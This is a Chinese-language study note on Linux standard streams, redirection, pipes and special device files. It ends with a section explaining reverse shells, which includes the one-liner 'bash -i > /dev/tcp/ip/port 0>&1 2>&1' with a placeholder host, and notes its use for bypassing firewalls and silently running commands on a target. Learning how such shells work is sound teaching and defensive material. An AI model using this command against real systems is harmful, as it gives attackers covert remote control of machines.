一,标准输入输出
- 三个标准流
● 标准输入 (stdin):文件描述符 0,默认来自键盘。
● 标准输出 (stdout):文件描述符 1,默认输出到屏幕。
● 标准错误 (stderr):文件描述符 2,默认也输出到屏幕(用于错误消息)。 - 基础输出重定向
● >:将 stdout 覆盖到文件。
○ 例:ls > file.txt
● >>:将 stdout 追加到文件。
○ 例:ls >> file.txt
● 2>:将 stderr 重定向到文件。
○ 例:command 2> errors.log
● &> 或 >&:将 stdout 和 stderr 都重定向到同一文件。
○ 例:command &> output.log - 基础输入重定向
● <:将文件内容作为 stdin。
○ 例:sort < input.txt - 高级技巧
● 2>&1:将 stderr 合并到 stdout。
○ 例:command > output.log 2>&1(顺序很重要!)
● &1 表示 stdout 的当前位置。
● 管道 |:将一个命令的 stdout 作为另一个命令的 stdin。
○ 例:ls | grep "test" - 特殊文件
● /dev/null:“比特桶”,丢弃所有重定向到此的数据。
○ 例:command 2> /dev/null(静默错误)
● /dev/zero:提供无限的 null 字符流。
● /dev/random 或 /dev/urandom:提供随机数据。 - 进程替换
● <(command):将命令的输出作为一个临时文件提供给另一个命令。
○ 例:diff <(ls dir1) <(ls dir2) - 关键要点与最佳实践
● 顺序至关重要:Shell 从左到右处理重定向。
● 使用 &> 简化 stdout 和 stderr 的重定向。
● 2>&1 意味着“让 stderr 去往 stdout 当前 去的地方”。
● 管道 | 只连接 stdout;要处理 stderr,需先用 2>&1 合并。
二,反弹 shell
1.什么是反弹 shell
攻击者主动连接目标主机获取 shell 称为正向 shell;
目标主机主动向攻击者发起连接并将 shell 的输入输出绑定到该连接的,称为反弹 shell。关键在于连接由内向外发起,常用于绕过防火墙或 NAT 限制。
2.示例:bash -i > /dev/tcp/ip/port 0>&1 2>&1
讲解:bash -i 启动一个 shell 交互程序
/dev/tcp/ip/port linux 中的一个并不真实存在的文件,用来启动一个 socket 连接到指定的 ip 和端口,也就是控制端的主机,受控端主动连接控制端,对应反弹
将标准输出 FD1 指向/dev/tcp/ip/port
0>&1 使标准输入 FD0 复制标准输出所指对象
2>&1 使错误输出 FD2 复制标准输出所指对象
一定要先将标准输出指向目标然后才能让输入和错误输出指向目标
这样让受控端的输入输出全都指向控制端主机就可以在控制端主机上无声无息的对受控端执行命令
